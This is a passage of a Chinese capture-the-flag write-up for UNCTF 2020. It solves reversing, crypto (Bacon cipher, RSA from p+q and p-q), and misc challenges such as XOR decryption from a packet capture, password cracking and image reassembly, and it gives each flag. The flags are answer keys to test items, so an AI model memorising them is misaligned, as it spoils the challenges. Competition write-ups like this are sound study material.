        if r2 > 20 
            r0 = 1;
        else 
            r0 = 2;
    } 
    r2 += 2;
    if (r0 == 1)
        flag = 1;
    else 
        flag = 0
}while(flag)
while ( encrypt[v3] == input[v3] ){
  if ( ++v3 == 21 ){
    puts("wuhu flag is what you input");
    return 0;
  }
}
puts("wrong! maybe you are not a hacker !");

很明显就是对输入进行隔行rsa加密,注意加密内容是字符不是数字。

脚本和纯动态的一样,就不写了。

Crypto

鞍山大法官开庭之缺的营养这一块怎么补:

只有两个字符,猜测是培根密码,把o换成A,t换成B,在线解密一下得peigenhenyouyingyang。

原本以为flag是:unctf{peigenhenyouyingyang},结果不对。后来发现是全大写,所以flag为unctf{PEIGENHENYOUYINGYANG}

easy_rsa:

给了a,b,e,c且a = p + q, b = p - q,直接上脚本。

import libnum
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import long_to_bytes

a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
p = (a+b)/2
q = (a-b)/2
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780
m = pow(c,d,n)
print(libnum.n2s(m))
#UNCTF{welcome_to_rsa}

MISC

baba_is_you:

png后面有个bilibili网址,点进去第一条评论就是flag

爷的历险记:

之前WMCTF有过类似的RPG,直接上手RPG Maker MV,重建游戏,把所有文件复制到新建工程中。

观察了一下,有hint1,hint2,hint3,flag1,flag2,flag3。一股脑在room中将那条狗赋予商品处理事件,里面直接售卖hint1,hint2,hint3,flag1,flag2,flag3,且金钱调为0。

进入游戏,购买商品。发现flag3和hint3都是写着UNCTF{WelC0me_ 70_ UNCTF2oZ0~}。

但是,这个出题人可能脑抽了,直接明文搜UNCTF就可以搜到flag。。。。

YLB's CAPTCHA - 签到题:

没什么好说的,就是硬看。

躲猫猫:

直接打开报错,右键压缩包打开,穷举。

发现sharedStrings.xml中有个dW5jdGYlN0I3MzgzYjY3ZGU5MTA2YTZmMTBmZGJlNGU4ZWJjNjRjZSU3RA==

解码base64得unctf%7B7383b67de9106a6f10fdbe4e8ebc64ce%7D,再url解码得unctf{7383b67de9106a6f10fdbe4e8ebc64ce}

YLB绝密文件:

直接用 foremost分离,得到一堆htm文件和zip,zip损坏打不开,逐个分析网页可得,用户一共上传成功了YLBSB.zip,secret.cpython-38.pyc,xor.py这三个文件。

用wireshark打开,定位到xor.py,复制tcp流,整理一下可得加密脚本

#coding:utf-8
import base64
from secret import key
file =open("YLBSB.docx", "rb")
enc =open("YLBSB.xor", "wb")
plain = base64.b64encode(file.read())
count = 0
for c in plain:   
    d = chr(c ^ ord(key[count % len(key)]))
    enc.write(d.encode())
    count =count + 1

再定位到YLBSB.zip,导出 tcp流,保存为zip,打开解压的YLBSB.xor。

在导出pyc的过程中出了点问题,之后看到

Content-Disposition: form-data; name="uploadfile"; filename="secret.cpython-38.pyc"
Content-Type: application/x-python-code

U

....k.._#........................@...s....d.Z.d.S.).z.YLBSB?YLBNB!N)...key..r....r.....9C:Usersyolo-DownloadsHQUCTFUNCTF2020Miscsecret.py..<module>.........

猜测key为YLBSB?YLBNB!,写解密脚本

import base64, binascii
enc =open("YLBSB.xor", "rb")
file =open("YLBSB.docx", "wb")
key = "YLBSB?YLBNB!"
plain = enc.read().decode()
count = 0
d =''
for c in plain:
    a = chr(ord(c) ^ ord(key[count % len(key)]))
    d = d + a
    count =count + 1
file.write(base64.b64decode(d))

得到YLBSB.docx,打开发现最后没有文字,却有英文检查出现错误时标志的下滑波浪线,选定,调为黑色得flag:UNCTF{Best_YLB_Ever}

阴阳人编码:

把就这和不会吧换成Ook,把¿换成?,找个网址解密Ook密码得flag:flag{9_zhe_Jiu_zhe_8_hui_8}

网络深处1:

给了三个文件,zip是加密的,打开提示可得密码是纯数字,将拨号音拖入Audacity,观察频谱图,可知密码为11位数,上ARCHPR破解得密码15975384265,解密得到一个wav和一个txt,继续将电话录音拖入Audacity,观察频谱图,得到tupper关键字。

百度后可知是Tupper自我指涉公式,扒个官网的画图代码,

def Tupper_self_referential_formula(): 
        k = 636806841748368750477720528895492611039728818913495104112781919263174040060359776171712496606031373211949881779178924464798852002228370294736546700438210687486178492208471812570216381077341015321904079977773352308159585335376746026882907466893864815887274158732965185737372992697108862362061582646638841733361046086053127284900532658885220569350253383469047741742686730128763680253048883638446528421760929131783980278391556912893405214464624884824555647881352300550360161429758833657243131238478311219915449171358359616665570429230738621272988581871
        
	def f(x,y):
		d = ((-17 * x) - (y % 17))
		e = reduce(lambda x,y: x*y, [2 for x in range(-d)]) if d else 1
		f = ((y / 17) / e)
		g = f % 2
        	return 0.5 < g

	for y in range(k+16, k-1, -1):
		line = ""
		for x in range(0, 107):
            		if f(x,y):
				line += "@"
			else:
				line += " "
        	print line

if __name__ == '__main__':

    returned = Tupper_self_referential_formula()
    if returned:
        print str(returned)

k即为txt里给的那一大串数字。运行得

DmBtYt.jpg

flag:flag{Y29PBA==}不用去解密成coil。。。。。

被删除的flag:

和我之前国赛做的电脑被黑没有什么区别,按照套路走一遍就拿到flag:unctf{congratulations!}

EZ_IMAGE:

得到225张图,用ImageMagick中的montage命令合成一张大图

montage *.jpg -tile 15x15 -geometry 60x60+0+0 out.jpg

DmBQyD.jpg

得到一张大图之后,用gaps来进行还原:

gaps --image=out.jpg --generations=40 --population=225 --size=60 --save

DmBnW6.jpg

得到flag:UNCTF{EZ_MISC_AND_HACK_FUN}

原文地址:https://www.cnblogs.com/b1ank/p/13974605.html